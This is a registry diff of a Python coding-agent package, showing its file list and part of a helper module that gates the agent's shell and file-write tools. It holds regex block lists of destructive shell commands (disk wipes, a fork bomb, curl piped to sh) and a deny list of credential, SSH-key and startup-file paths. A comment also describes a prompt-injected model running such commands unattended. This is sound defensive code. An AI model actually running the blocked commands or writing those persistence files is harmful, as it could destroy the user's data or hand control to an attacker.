localcode 0.4.0__py3-none-macosx_13_0_arm64.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- localcode/__init__.py +11 -0
- localcode/__main__.py +5 -0
- localcode/_subproc_env.py +54 -0
- localcode/agent/__init__.py +177 -0
- localcode/agent/app_tasks.py +157 -0
- localcode/agent/constants.py +275 -0
- localcode/agent/context.py +1152 -0
- localcode/agent/goal.py +244 -0
- localcode/agent/helpers.py +1036 -0
- localcode/agent/hollow_module.py +230 -0
- localcode/agent/hooks.py +414 -0
- localcode/agent/loop.py +2855 -0
- localcode/agent/plateau.py +297 -0
- localcode/agent/project_check_gate.py +91 -0
- localcode/agent/prompt_context.py +264 -0
- localcode/agent/prompts.py +368 -0
- localcode/agent/reasoning_loop.py +79 -0
- localcode/agent/recovery.py +606 -0
- localcode/agent/recovery_controller.py +25 -0
- localcode/agent/round_policy.py +23 -0
- localcode/agent/sections.py +241 -0
- localcode/agent/state_machine.py +100 -0
- localcode/agent/streaming.py +324 -0
- localcode/agent/tool_execution.py +368 -0
- localcode/agent/tool_orchestration.py +54 -0
- localcode/agent/turn_finalization.py +135 -0
- localcode/app.py +1595 -0
- localcode/approvals.py +17 -0
- localcode/auto_compact.py +176 -0
- localcode/autonomy.py +103 -0
- localcode/bin/__init__.py +0 -0
- localcode/bin/llama-server +0 -0
- localcode/bin/localcode-ui +4 -0
- localcode/bootstrap.py +1191 -0
- localcode/cache.py +194 -0
- localcode/checkpoint.py +375 -0
- localcode/compact.py +73 -0
- localcode/compaction.py +341 -0
- localcode/composer.py +72 -0
- localcode/config.py +521 -0
- localcode/context.py +161 -0
- localcode/display.py +58 -0
- localcode/embeddings.py +480 -0
- localcode/entrypoint.py +536 -0
- localcode/errors.py +350 -0
- localcode/events.py +409 -0
- localcode/evidence.py +102 -0
- localcode/execution_policy.py +48 -0
- localcode/features.py +308 -0
- localcode/formatting.py +91 -0
- localcode/headless_json.py +265 -0
- localcode/health.py +288 -0
- localcode/hf_quants.py +203 -0
- localcode/history.py +594 -0
- localcode/indexer.py +144 -0
- localcode/injection_defense.py +204 -0
- localcode/launcher.py +373 -0
- localcode/logging_utils.py +28 -0
- localcode/lsp.py +153 -0
- localcode/mcp/__init__.py +88 -0
- localcode/mcp/_bridge.py +61 -0
- localcode/mcp/_config.py +33 -0
- localcode/mcp/_transports.py +128 -0
- localcode/mcp/client.py +395 -0
- localcode/memory_guard.py +291 -0
- localcode/model_config.py +288 -0
- localcode/model_delete.py +444 -0
- localcode/model_families.py +279 -0
- localcode/models.py +236 -0
- localcode/models_catalog.py +901 -0
- localcode/notebook.py +123 -0
- localcode/output.py +403 -0
- localcode/patching.py +65 -0
- localcode/paths.py +303 -0
- localcode/performance.py +623 -0
- localcode/permissions.py +79 -0
- localcode/permissions_v2.py +310 -0
- localcode/plans.py +198 -0
- localcode/process_registry.py +271 -0
- localcode/protocol/__init__.py +56 -0
- localcode/protocol/events.py +116 -0
- localcode/protocol/jsonl.py +153 -0
- localcode/protocol/outcomes.py +231 -0
- localcode/reasoning_capabilities.py +59 -0
- localcode/recommendations.py +87 -0
- localcode/recovery.py +134 -0
- localcode/redaction.py +164 -0
- localcode/runtime.py +2331 -0
- localcode/server_manager.py +1069 -0
- localcode/session.py +296 -0
- localcode/shell.py +83 -0
- localcode/skills/debug.md +21 -0
- localcode/skills/edit-verified.md +30 -0
- localcode/skills/explain.md +19 -0
- localcode/skills/finish-verified.md +11 -0
- localcode/skills/git-commit-safely.md +30 -0
- localcode/skills/locate.md +21 -0
- localcode/skills/plan-task.md +51 -0
- localcode/skills/review.md +22 -0
- localcode/skills/run-tests.md +24 -0
- localcode/skills.py +728 -0
- localcode/snapshots.py +195 -0
- localcode/sounds.py +50 -0
- localcode/telemetry.py +273 -0
- localcode/theme.py +137 -0
- localcode/thermal.py +160 -0
- localcode/thinking.py +114 -0
- localcode/tool_router.py +246 -0
- localcode/toolkit.py +1241 -0
- localcode/tools/__init__.py +400 -0
- localcode/tools/agent.py +259 -0
- localcode/tools/append_file.py +55 -0
- localcode/tools/background_process.py +115 -0
- localcode/tools/base.py +168 -0
- localcode/tools/bash.py +1160 -0
- localcode/tools/code_navigation.py +97 -0
- localcode/tools/edit_diff.py +80 -0
- localcode/tools/edit_file.py +477 -0
- localcode/tools/facts.py +149 -0
- localcode/tools/glob_tool.py +60 -0
- localcode/tools/grep.py +65 -0
- localcode/tools/inspect_symbol.py +266 -0
- localcode/tools/launch_app.py +93 -0
- localcode/tools/list_files.py +42 -0
- localcode/tools/multi_edit.py +167 -0
- localcode/tools/plan_mode.py +86 -0
- localcode/tools/project_check.py +685 -0
- localcode/tools/read_file.py +261 -0
- localcode/tools/read_state.py +223 -0
- localcode/tools/skill_tool.py +41 -0
- localcode/tools/syntax_check.py +216 -0
- localcode/tools/todo_write.py +200 -0
- localcode/tools/tool_call_repair.py +157 -0
- localcode/tools/web_fetch.py +182 -0
- localcode/tools/web_search.py +45 -0
- localcode/tools/write_file.py +281 -0
- localcode/tui/__init__.py +1 -0
- localcode/tui/app.py +485 -0
- localcode/tui/bridge.py +78 -0
- localcode/tui/clipboard_image.py +153 -0
- localcode/tui/paste_collapse.py +95 -0
- localcode/tui/screens/__init__.py +0 -0
- localcode/tui/screens/chat.py +5052 -0
- localcode/tui/screens/confirm.py +123 -0
- localcode/tui/screens/mode_picker.py +79 -0
- localcode/tui/screens/model_picker.py +962 -0
- localcode/tui/screens/setup.py +891 -0
- localcode/tui/styles/__init__.py +0 -0
- localcode/tui/styles/app.tcss +197 -0
- localcode/tui/widgets/__init__.py +0 -0
- localcode/tui/widgets/approval.py +2 -0
- localcode/tui/widgets/chat_log.py +2063 -0
- localcode/tui/widgets/messages/__init__.py +21 -0
- localcode/tui/widgets/messages/diff.py +287 -0
- localcode/tui/widgets/voice_visualizer.py +122 -0
- localcode/turn_diff.py +180 -0
- localcode/ui/FORK_COMMIT +1 -0
- localcode/ui/__init__.py +58 -0
- localcode/ui/launch.py +204 -0
- localcode/ui/picker_cli.py +165 -0
- localcode/ui/plugin/localcode.ts +626 -0
- localcode/ui/ports.py +42 -0
- localcode/ui/server_cmd.py +89 -0
- localcode/ui/supervisor.py +736 -0
- localcode/undo.py +121 -0
- localcode/verification.py +87 -0
- localcode/voice.py +948 -0
- localcode-0.4.0.dist-info/METADATA +160 -0
- localcode-0.4.0.dist-info/RECORD +173 -0
- localcode-0.4.0.dist-info/WHEEL +5 -0
- localcode-0.4.0.dist-info/entry_points.txt +3 -0
- localcode-0.4.0.dist-info/licenses/LICENSE +201 -0
- localcode-0.4.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,1036 @@
|
|
|
1
|
+
"""Loop-adjacent helpers.
|
|
2
|
+
|
|
3
|
+
Pulled out of agent/__init__.py during T0.1-e. The seven functions
|
|
4
|
+
here aren't state machines or policy — they're "the loop needs to do
|
|
5
|
+
this one small thing" utilities that were crowding the file.
|
|
6
|
+
|
|
7
|
+
Grouped into three conceptual buckets (kept in one file because
|
|
8
|
+
they're all called exclusively by the loop and none is worth its own
|
|
9
|
+
module yet):
|
|
10
|
+
|
|
11
|
+
1. Tool dispatch plumbing — `_execute_tool`, `_first_token`,
|
|
12
|
+
`_needs_confirmation`. These turn a parsed tool call + args
|
|
13
|
+
into a result string, gating destructive commands on user
|
|
14
|
+
approval via DESTRUCTIVE_PATTERNS.
|
|
15
|
+
|
|
16
|
+
2. Display / summary formatting — `_render_markdown`,
|
|
17
|
+
`_brief_result`, `_grounded_file_summary`. These shape text
|
|
18
|
+
for user display (final answers rendered as Markdown; tool
|
|
19
|
+
results briefly summarised for progress logs; file-change
|
|
20
|
+
lists rendered with line counts after the turn).
|
|
21
|
+
|
|
22
|
+
3. Progress-indicator label — `_tool_stage_label`. Returns the
|
|
23
|
+
short human phrase the TUI shows while a tool is running
|
|
24
|
+
("writing foo.py", "running command", "searching code").
|
|
25
|
+
|
|
26
|
+
Pure helpers. No hidden state. Loop imports them by name.
|
|
27
|
+
"""
|
|
28
|
+
from __future__ import annotations
|
|
29
|
+
|
|
30
|
+
import sys
|
|
31
|
+
from pathlib import Path
|
|
32
|
+
from typing import TYPE_CHECKING
|
|
33
|
+
|
|
34
|
+
from rich.console import Console
|
|
35
|
+
from rich.markdown import Markdown
|
|
36
|
+
from rich.padding import Padding
|
|
37
|
+
|
|
38
|
+
from .constants import DESTRUCTIVE_PATTERNS
|
|
39
|
+
from ..tools import ToolContext, ToolResult, dispatch_result as _tools_dispatch_result
|
|
40
|
+
|
|
41
|
+
if TYPE_CHECKING:
|
|
42
|
+
from ..app import LocalCodeApp
|
|
43
|
+
from ..output import OutputManager
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
# Helpers here are underscore-prefixed internal utilities the loop
|
|
47
|
+
# uses. `__all__` is empty deliberately — nothing here is a public
|
|
48
|
+
# contract. If a helper should be public later, rename without the
|
|
49
|
+
# leading underscore and add it here.
|
|
50
|
+
__all__: list[str] = []
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
_SHRINK_GUARD_SOURCE_EXTS = {".py", ".js", ".jsx", ".ts", ".tsx", ".css", ".html"}
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
# ── Autonomy-independent safety hard-block ─────────────────────────────
|
|
57
|
+
#
|
|
58
|
+
# The approval gate (_needs_confirmation) is a *confirmation* layer: it is
|
|
59
|
+
# skipped in FULL_AUTO and in headless mode (which forces full_auto). That
|
|
60
|
+
# left no backstop at all for those modes — a prompt-injected model could
|
|
61
|
+
# run `curl … | sh` via bash OR background_process, or overwrite
|
|
62
|
+
# ~/.ssh/authorized_keys via write_file, entirely unattended. This layer
|
|
63
|
+
# runs before EVERY dispatch regardless of autonomy level or headless, and
|
|
64
|
+
# cannot be overridden. It blocks only unambiguously destructive operations
|
|
65
|
+
# (no legitimate agent use), so it does not add friction to normal work.
|
|
66
|
+
|
|
67
|
+
# Tools that hand a raw string to a shell.
|
|
68
|
+
_SHELL_EXEC_TOOLS = {"bash", "background_process"}
|
|
69
|
+
# Tools that write file contents to a path.
|
|
70
|
+
_FILE_WRITE_TOOLS = {"write_file", "append_file", "edit_file", "multi_edit", "edit_diff"}
|
|
71
|
+
|
|
72
|
+
# Built-in tools that never prompt: read-only, or internally guarded
|
|
73
|
+
# (the `agent` tool routes every inner call back through this gate).
|
|
74
|
+
# Everything NOT on this list — and not a shell/write tool, which have
|
|
75
|
+
# their own richer gating below — is confirmed before it runs. That
|
|
76
|
+
# inverts the old default-allow, which let `launch_app` (executes a
|
|
77
|
+
# command the REPO controls via package.json scripts) and any
|
|
78
|
+
# third-party `mcp_*` tool run unattended in every mode including
|
|
79
|
+
# suggest. Mirrors the default-ASK posture permissions_v2 documents.
|
|
80
|
+
_NEVER_CONFIRM_TOOLS = frozenset({
|
|
81
|
+
"read_file", "grep", "glob", "list_files", "code_navigation",
|
|
82
|
+
"inspect_symbol", "todo_write", "current_datetime",
|
|
83
|
+
"web_search", "web_fetch", "skill", "agent",
|
|
84
|
+
"enter_plan_mode", "exit_plan_mode",
|
|
85
|
+
"read_state", "facts", "project_check", "syntax_check",
|
|
86
|
+
})
|
|
87
|
+
|
|
88
|
+
# Credential / key material that the agent has no legitimate reason to write.
|
|
89
|
+
# Matched on the path BASENAME or a path SEGMENT (never a naive substring, so
|
|
90
|
+
# editing the project's own `tokenizer.py` / `api_keys.py` is never blocked).
|
|
91
|
+
_BLOCKED_WRITE_BASENAMES = frozenset({
|
|
92
|
+
"id_rsa", "id_dsa", "id_ecdsa", "id_ed25519",
|
|
93
|
+
"authorized_keys", "known_hosts",
|
|
94
|
+
".netrc", ".npmrc", ".pypirc",
|
|
95
|
+
"credentials", "credentials.json",
|
|
96
|
+
"shadow", "passwd", "sudoers",
|
|
97
|
+
# Shell startup files. Writing any of these is persistent code execution
|
|
98
|
+
# on the user's next shell — there is no legitimate agent reason to do it,
|
|
99
|
+
# and `~/.zshrc` was not covered by anything before.
|
|
100
|
+
".zshrc", ".zshenv", ".zprofile", ".zlogin", ".zlogout",
|
|
101
|
+
".bashrc", ".bash_profile", ".bash_login", ".bash_logout",
|
|
102
|
+
".profile", ".kshrc", ".cshrc", ".tcshrc", ".inputrc",
|
|
103
|
+
# LocalCode's own machine-wide config. `mcp.json` is the worst case: the
|
|
104
|
+
# agent writes an MCP server `command`, which is then SPAWNED on the next
|
|
105
|
+
# launch — persistent RCE from a single silent file write.
|
|
106
|
+
"mcp.json",
|
|
107
|
+
})
|
|
108
|
+
_BLOCKED_WRITE_SEGMENTS = frozenset({
|
|
109
|
+
".ssh", ".aws", ".gnupg", ".config/gcloud",
|
|
110
|
+
# macOS persistence: a plist dropped here is launched by launchd.
|
|
111
|
+
"launchagents", "launchdaemons",
|
|
112
|
+
# systemd user units are the Linux equivalent.
|
|
113
|
+
"systemd",
|
|
114
|
+
})
|
|
115
|
+
|
|
116
|
+
# Home-relative directories whose contents are off-limits regardless of the
|
|
117
|
+
# file's own name: ~/.localcode holds config.toml + mcp.json (both executed on
|
|
118
|
+
# next launch). Subtrees that are legitimate agent workspace are re-allowed.
|
|
119
|
+
_BLOCKED_HOME_DIRS = ("~/.localcode",)
|
|
120
|
+
_BLOCKED_HOME_DIR_EXEMPT_SUBDIRS = ("plans", "notebook", "sessions", "test-results")
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
def _is_git_hook_path(parts: tuple[str, ...]) -> bool:
|
|
124
|
+
"""True for `<anything>/.git/hooks/<file>`.
|
|
125
|
+
|
|
126
|
+
Adjacency is required: a project directory literally named `hooks/` (very
|
|
127
|
+
common — webhook handlers, git-hook SOURCE templates) is not blocked, only
|
|
128
|
+
the live `.git/hooks/` directory git actually executes.
|
|
129
|
+
"""
|
|
130
|
+
lowered = [part.lower() for part in parts]
|
|
131
|
+
for i in range(len(lowered) - 1):
|
|
132
|
+
if lowered[i] == ".git" and lowered[i + 1] == "hooks":
|
|
133
|
+
return True
|
|
134
|
+
return False
|
|
135
|
+
|
|
136
|
+
|
|
137
|
+
def _is_blocked_home_config_path(p: Path) -> bool:
|
|
138
|
+
"""True for writes into ~/.localcode outside its workspace subdirs."""
|
|
139
|
+
for raw_dir in _BLOCKED_HOME_DIRS:
|
|
140
|
+
base = Path(raw_dir).expanduser()
|
|
141
|
+
try:
|
|
142
|
+
rel = p.resolve().relative_to(base.resolve())
|
|
143
|
+
except (ValueError, OSError):
|
|
144
|
+
try:
|
|
145
|
+
rel = p.relative_to(base)
|
|
146
|
+
except ValueError:
|
|
147
|
+
continue
|
|
148
|
+
if rel.parts and rel.parts[0] in _BLOCKED_HOME_DIR_EXEMPT_SUBDIRS:
|
|
149
|
+
continue
|
|
150
|
+
return True
|
|
151
|
+
return False
|
|
152
|
+
|
|
153
|
+
|
|
154
|
+
def _is_blocked_write_path(raw_path: str) -> bool:
|
|
155
|
+
"""True if writing this path targets credential/key material, a shell
|
|
156
|
+
startup file, an OS persistence hook, or LocalCode's own machine config.
|
|
157
|
+
|
|
158
|
+
Precise matching only: exact basename, exact path segment, or an exact
|
|
159
|
+
directory relationship. A file named `tokenizer.py` or `password_reset.py`
|
|
160
|
+
in the project is NOT blocked, nor is a project's own `hooks/` directory.
|
|
161
|
+
"""
|
|
162
|
+
if not raw_path:
|
|
163
|
+
return False
|
|
164
|
+
try:
|
|
165
|
+
p = Path(raw_path).expanduser()
|
|
166
|
+
except Exception:
|
|
167
|
+
p = Path(raw_path)
|
|
168
|
+
name = p.name.lower()
|
|
169
|
+
if name in _BLOCKED_WRITE_BASENAMES:
|
|
170
|
+
return True
|
|
171
|
+
lowered_parts = {part.lower() for part in p.parts}
|
|
172
|
+
if lowered_parts & _BLOCKED_WRITE_SEGMENTS:
|
|
173
|
+
return True
|
|
174
|
+
if _is_git_hook_path(p.parts):
|
|
175
|
+
return True
|
|
176
|
+
if _is_blocked_home_config_path(p):
|
|
177
|
+
return True
|
|
178
|
+
return False
|
|
179
|
+
|
|
180
|
+
|
|
181
|
+
# Catastrophic shell commands with NO legitimate agent use — hard-blocked in
|
|
182
|
+
# every mode, never overridable. Deliberately TIGHT: these are anchored to real
|
|
183
|
+
# device/root/home targets so they don't false-positive on a `grep` for the
|
|
184
|
+
# text. "High-risk but sometimes legitimate" commands (curl|sh installs,
|
|
185
|
+
# force-push, sudo rm) are NOT here — they route through the confirmation gate
|
|
186
|
+
# instead (see _CONFIRM_SHELL_RE), so the user can approve them.
|
|
187
|
+
#
|
|
188
|
+
# NB: SQL patterns (DROP TABLE, DELETE FROM, …) are intentionally absent — bash
|
|
189
|
+
# does not execute SQL, so blocking them here only broke `grep "DROP TABLE"`.
|
|
190
|
+
import re as _re
|
|
191
|
+
|
|
192
|
+
_HARD_BLOCK_SHELL_RE = [
|
|
193
|
+
_re.compile(r"\brm\s+-[a-z]*r[a-z]*f[a-z]*\s+(/|~|\$HOME|\$\{HOME\})(\s|/|$)", _re.I),
|
|
194
|
+
_re.compile(r"\brm\s+-[a-z]*f[a-z]*r[a-z]*\s+(/|~|\$HOME|\$\{HOME\})(\s|/|$)", _re.I),
|
|
195
|
+
_re.compile(r"\bmkfs\b", _re.I),
|
|
196
|
+
_re.compile(r"\bdd\b[^\n]*\bof=/dev/", _re.I),
|
|
197
|
+
_re.compile(r">\s*/dev/(sd|nvme|hd|disk|vd)", _re.I),
|
|
198
|
+
_re.compile(r"\bchmod\s+-R\s+0*777\s+/(\s|$)", _re.I),
|
|
199
|
+
_re.compile(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:", _re.I), # fork bomb
|
|
200
|
+
_re.compile(r">\s*/etc/", _re.I),
|
|
201
|
+
_re.compile(r"\bwipefs\b", _re.I),
|
|
202
|
+
]
|
|
203
|
+
|
|
204
|
+
# High-risk-but-sometimes-legitimate shell: prompt for approval (overridable),
|
|
205
|
+
# never silently run and never hard-blocked. Anchored so a `grep` for the text
|
|
206
|
+
# doesn't trigger it: the pipe-to-shell must be a real pipeline, force-push a
|
|
207
|
+
# real git invocation.
|
|
208
|
+
_CONFIRM_SHELL_RE = _re.compile(
|
|
209
|
+
r"(?:\b(?:curl|wget)\b[^\n|]*\|\s*(?:sudo\s+)?(?:ba|z|k|da)?sh\b)"
|
|
210
|
+
r"|(?:\bgit\s+push\b[^\n]*(?:--force\b|-f\b))"
|
|
211
|
+
r"|(?:\bsudo\s+rm\b)"
|
|
212
|
+
r"|(?:\bgit\s+reset\s+--hard\s+origin\b)",
|
|
213
|
+
_re.I,
|
|
214
|
+
)
|
|
215
|
+
|
|
216
|
+
|
|
217
|
+
def _safety_hard_block(name: str, args: dict, repo_root: "Path | str | None" = None) -> str | None:
|
|
218
|
+
"""Autonomy-independent hard block. Returns a rejection reason, or None.
|
|
219
|
+
|
|
220
|
+
Runs before every tool dispatch in ALL modes (including FULL_AUTO and
|
|
221
|
+
headless). Covers only operations with no legitimate agent use:
|
|
222
|
+
- catastrophic shell (rm -rf /, mkfs, dd of=/dev/…, > /dev/sd*, fork
|
|
223
|
+
bomb, chmod -R 777 /, > /etc/) — see _HARD_BLOCK_SHELL_RE
|
|
224
|
+
- writes to SSH/AWS/GPG key material or credential files
|
|
225
|
+
- writes to shell startup files (~/.zshrc &c), OS persistence hooks
|
|
226
|
+
(LaunchAgents, systemd units, .git/hooks), and ~/.localcode config
|
|
227
|
+
(mcp.json defines commands that get SPAWNED on next launch)
|
|
228
|
+
Everything else — including curl|sh and force-push — falls through to the
|
|
229
|
+
normal confirmation flow, which can approve it.
|
|
230
|
+
"""
|
|
231
|
+
if name in _SHELL_EXEC_TOOLS:
|
|
232
|
+
cmd = str(args.get("command", "") or "")
|
|
233
|
+
if cmd:
|
|
234
|
+
for rx in _HARD_BLOCK_SHELL_RE:
|
|
235
|
+
if rx.search(cmd):
|
|
236
|
+
return "blocked: refusing a command that could destroy the disk or system (matched a catastrophic pattern)"
|
|
237
|
+
if name == "launch_app":
|
|
238
|
+
# launch_app hands the repo's own package.json script (or an
|
|
239
|
+
# inferred command) to `sh`. The string is repo-controlled, so it
|
|
240
|
+
# gets the same catastrophic-pattern screen as bash — resolved to
|
|
241
|
+
# the concrete command that would actually run.
|
|
242
|
+
action = str(args.get("action") or "start").strip().lower()
|
|
243
|
+
if action != "stop" and repo_root is not None:
|
|
244
|
+
command, _root, script = _resolve_launch_details(repo_root)
|
|
245
|
+
for text in (command, script):
|
|
246
|
+
if not text:
|
|
247
|
+
continue
|
|
248
|
+
for rx in _HARD_BLOCK_SHELL_RE:
|
|
249
|
+
if rx.search(text):
|
|
250
|
+
return (
|
|
251
|
+
"blocked: the repo's launch command matched a "
|
|
252
|
+
"catastrophic pattern and will not be executed"
|
|
253
|
+
)
|
|
254
|
+
if name in _FILE_WRITE_TOOLS:
|
|
255
|
+
raw_path = str(args.get("path", "") or args.get("file_path", "") or "")
|
|
256
|
+
if raw_path:
|
|
257
|
+
# The agent's sanctioned scratch dir is exempt.
|
|
258
|
+
try:
|
|
259
|
+
from ..notebook import is_within_notebook
|
|
260
|
+
if is_within_notebook(Path(raw_path).expanduser()):
|
|
261
|
+
return None
|
|
262
|
+
except Exception:
|
|
263
|
+
pass
|
|
264
|
+
if _is_blocked_write_path(raw_path):
|
|
265
|
+
return (
|
|
266
|
+
"blocked: refusing to write credential/key material, a shell "
|
|
267
|
+
"startup file, an OS persistence hook, or LocalCode's own "
|
|
268
|
+
f"machine config ({Path(raw_path).name})"
|
|
269
|
+
)
|
|
270
|
+
return None
|
|
271
|
+
|
|
272
|
+
|
|
273
|
+
# ── Plan-mode enforcement ──────────────────────────────────────────────
|
|
274
|
+
#
|
|
275
|
+
# plans.py PROMISES the user that plan mode allows exactly one write (the
|
|
276
|
+
# plan file) and forbids edits and destructive bash; features.py documents
|
|
277
|
+
# PLAN_MODE as a read-only overlay. Until this layer existed the flag was
|
|
278
|
+
# advisory: `app.plan_mode` was set by the enter tool and read by nothing
|
|
279
|
+
# else, so a model in plan mode could rewrite the repo unchallenged.
|
|
280
|
+
#
|
|
281
|
+
# Shell is not blanket-blocked, because plan mode's whole job is exploring
|
|
282
|
+
# the codebase. Instead every pipeline segment's leading token must be on
|
|
283
|
+
# this read-only list, and redirections are refused outright — so `grep -rn
|
|
284
|
+
# foo | head` runs while `rm -rf build`, `git push`, and `echo x > f` do not.
|
|
285
|
+
_PLAN_MODE_READONLY_CMDS = frozenset({
|
|
286
|
+
"ls", "cat", "head", "tail", "wc", "file", "stat", "du", "df",
|
|
287
|
+
"grep", "rg", "egrep", "fgrep", "find", "fd", "tree", "which", "type",
|
|
288
|
+
"awk", "sed", "sort", "uniq", "cut", "tr", "jq", "diff", "basename",
|
|
289
|
+
"dirname", "realpath", "pwd", "echo", "date", "env", "printenv",
|
|
290
|
+
"git", "python3", "python", "node", "true", "false",
|
|
291
|
+
})
|
|
292
|
+
# `git` is allowed above for exploration only — these subcommands mutate.
|
|
293
|
+
_PLAN_MODE_GIT_BLOCKED = frozenset({
|
|
294
|
+
"push", "commit", "merge", "rebase", "reset", "checkout", "switch",
|
|
295
|
+
"clean", "apply", "am", "cherry-pick", "revert", "restore", "rm", "mv",
|
|
296
|
+
"add", "stash", "tag", "branch", "fetch", "pull", "clone", "init",
|
|
297
|
+
"submodule", "worktree", "gc", "filter-branch",
|
|
298
|
+
})
|
|
299
|
+
|
|
300
|
+
|
|
301
|
+
def _plan_mode_shell_rejection(cmd: str) -> str | None:
|
|
302
|
+
"""Reject a shell command that would mutate state while planning."""
|
|
303
|
+
text = (cmd or "").strip()
|
|
304
|
+
if not text:
|
|
305
|
+
return None
|
|
306
|
+
if ">" in text or "`" in text or "$(" in text:
|
|
307
|
+
return "redirection or command substitution is not allowed in plan mode"
|
|
308
|
+
import re as _re_local
|
|
309
|
+
for segment in _re_local.split(r"[;&|\n]+", text):
|
|
310
|
+
seg = segment.strip()
|
|
311
|
+
if not seg:
|
|
312
|
+
continue
|
|
313
|
+
tokens = seg.split()
|
|
314
|
+
head = tokens[0].lower()
|
|
315
|
+
head = head.rsplit("/", 1)[-1]
|
|
316
|
+
if head not in _PLAN_MODE_READONLY_CMDS:
|
|
317
|
+
return f"`{head}` is not a read-only command"
|
|
318
|
+
if head == "git":
|
|
319
|
+
sub = next((t for t in tokens[1:] if not t.startswith("-")), "").lower()
|
|
320
|
+
if sub in _PLAN_MODE_GIT_BLOCKED:
|
|
321
|
+
return f"`git {sub}` mutates the repository"
|
|
322
|
+
return None
|
|
323
|
+
|
|
324
|
+
|
|
325
|
+
def _plan_mode_block(app: "LocalCodeApp", name: str, args: dict) -> str | None:
|
|
326
|
+
"""Enforce plan mode. Returns a rejection reason, or None.
|
|
327
|
+
|
|
328
|
+
One write is permitted: `write_file` targeting the current session's
|
|
329
|
+
plan file. Everything else in `_FILE_WRITE_TOOLS` is refused, and shell
|
|
330
|
+
is limited to read-only exploration (see `_plan_mode_shell_rejection`).
|
|
331
|
+
"""
|
|
332
|
+
if not getattr(app, "plan_mode", False):
|
|
333
|
+
return None
|
|
334
|
+
if name in _FILE_WRITE_TOOLS:
|
|
335
|
+
raw_path = str(args.get("path", "") or args.get("file_path", "") or "")
|
|
336
|
+
slug = getattr(app, "plan_slug", None)
|
|
337
|
+
if name == "write_file" and raw_path and slug:
|
|
338
|
+
try:
|
|
339
|
+
from ..plans import plan_path
|
|
340
|
+
candidate = Path(raw_path).expanduser()
|
|
341
|
+
if not candidate.is_absolute():
|
|
342
|
+
candidate = Path(app.repo_root) / candidate
|
|
343
|
+
if candidate.resolve() == Path(plan_path(slug)).resolve():
|
|
344
|
+
return None
|
|
345
|
+
except Exception:
|
|
346
|
+
pass
|
|
347
|
+
target = f" ({Path(raw_path).name})" if raw_path else ""
|
|
348
|
+
return (
|
|
349
|
+
f"plan mode is active — `{name}`{target} is not allowed. The plan "
|
|
350
|
+
"file is the only write permitted while planning. Finish the plan "
|
|
351
|
+
"and call exit_plan_mode before changing any code."
|
|
352
|
+
)
|
|
353
|
+
if name in _SHELL_EXEC_TOOLS:
|
|
354
|
+
if name != "bash":
|
|
355
|
+
return (
|
|
356
|
+
f"plan mode is active — `{name}` is not allowed. Use read-only "
|
|
357
|
+
"shell commands to explore, then call exit_plan_mode."
|
|
358
|
+
)
|
|
359
|
+
reason = _plan_mode_shell_rejection(str(args.get("command", "") or ""))
|
|
360
|
+
if reason:
|
|
361
|
+
return (
|
|
362
|
+
f"plan mode is active and this command is not read-only: {reason}. "
|
|
363
|
+
"Explore with read-only commands, then call exit_plan_mode before "
|
|
364
|
+
"changing anything."
|
|
365
|
+
)
|
|
366
|
+
return None
|
|
367
|
+
|
|
368
|
+
|
|
369
|
+
def _path_within(path: Path, root: Path) -> bool:
|
|
370
|
+
try:
|
|
371
|
+
path.resolve().relative_to(root)
|
|
372
|
+
return True
|
|
373
|
+
except ValueError:
|
|
374
|
+
return False
|
|
375
|
+
except Exception:
|
|
376
|
+
return False
|
|
377
|
+
|
|
378
|
+
|
|
379
|
+
def _reject_noncanonical_creation_write(app: "LocalCodeApp", raw_path: str) -> str | None:
|
|
380
|
+
# Project naming is a model/user decision. Earlier versions forced every
|
|
381
|
+
# new-app write into an internal task slug; that over-constrained builds
|
|
382
|
+
# and produced weird repeated folder names. Keep the helper as a no-op so
|
|
383
|
+
# the rest of the write-guard pipeline remains stable.
|
|
384
|
+
return None
|
|
385
|
+
|
|
386
|
+
|
|
387
|
+
def _should_reject_destructive_write(path: Path, content: str) -> str | None:
|
|
388
|
+
"""Reject suspicious full-file rewrites that collapse real source files.
|
|
389
|
+
|
|
390
|
+
Failure pattern from events.jsonl:
|
|
391
|
+
- existing app source file is 100+ lines
|
|
392
|
+
- model uses write_file, not edit_file
|
|
393
|
+
- new content is a tiny 8-line shell
|
|
394
|
+
- tool succeeds, but the app regresses badly
|
|
395
|
+
|
|
396
|
+
Keep this narrow: only existing source files, only severe shrinkage.
|
|
397
|
+
"""
|
|
398
|
+
if not path.exists() or not path.is_file():
|
|
399
|
+
return None
|
|
400
|
+
if path.suffix.lower() not in _SHRINK_GUARD_SOURCE_EXTS:
|
|
401
|
+
return None
|
|
402
|
+
try:
|
|
403
|
+
old_text = path.read_text(errors="replace")
|
|
404
|
+
except Exception:
|
|
405
|
+
return None
|
|
406
|
+
old_lines = len(old_text.splitlines())
|
|
407
|
+
new_lines = len(content.splitlines())
|
|
408
|
+
if old_lines < 60:
|
|
409
|
+
return None
|
|
410
|
+
if new_lines > 20:
|
|
411
|
+
return None
|
|
412
|
+
if new_lines >= max(12, old_lines // 5):
|
|
413
|
+
return None
|
|
414
|
+
return (
|
|
415
|
+
f"REJECTED: write_file would collapse {path.name} from {old_lines} lines to "
|
|
416
|
+
f"{new_lines} lines. This looks like an accidental destructive rewrite. "
|
|
417
|
+
f"Read the file and use edit_file or multi_edit for a targeted change. "
|
|
418
|
+
f"Only do a full rewrite if the user explicitly asked for one."
|
|
419
|
+
)
|
|
420
|
+
|
|
421
|
+
|
|
422
|
+
def _should_reject_destructive_multi_edit(path: Path, edits: object) -> str | None:
|
|
423
|
+
"""Reject multi_edit calls that effectively replace a whole file with
|
|
424
|
+
a tiny stub. Same protection as write_file, but simulated before the
|
|
425
|
+
tool mutates disk.
|
|
426
|
+
"""
|
|
427
|
+
if not path.exists() or not path.is_file():
|
|
428
|
+
return None
|
|
429
|
+
if path.suffix.lower() not in _SHRINK_GUARD_SOURCE_EXTS:
|
|
430
|
+
return None
|
|
431
|
+
if not isinstance(edits, list) or not edits:
|
|
432
|
+
return None
|
|
433
|
+
try:
|
|
434
|
+
old_text = path.read_text(errors="replace")
|
|
435
|
+
except Exception:
|
|
436
|
+
return None
|
|
437
|
+
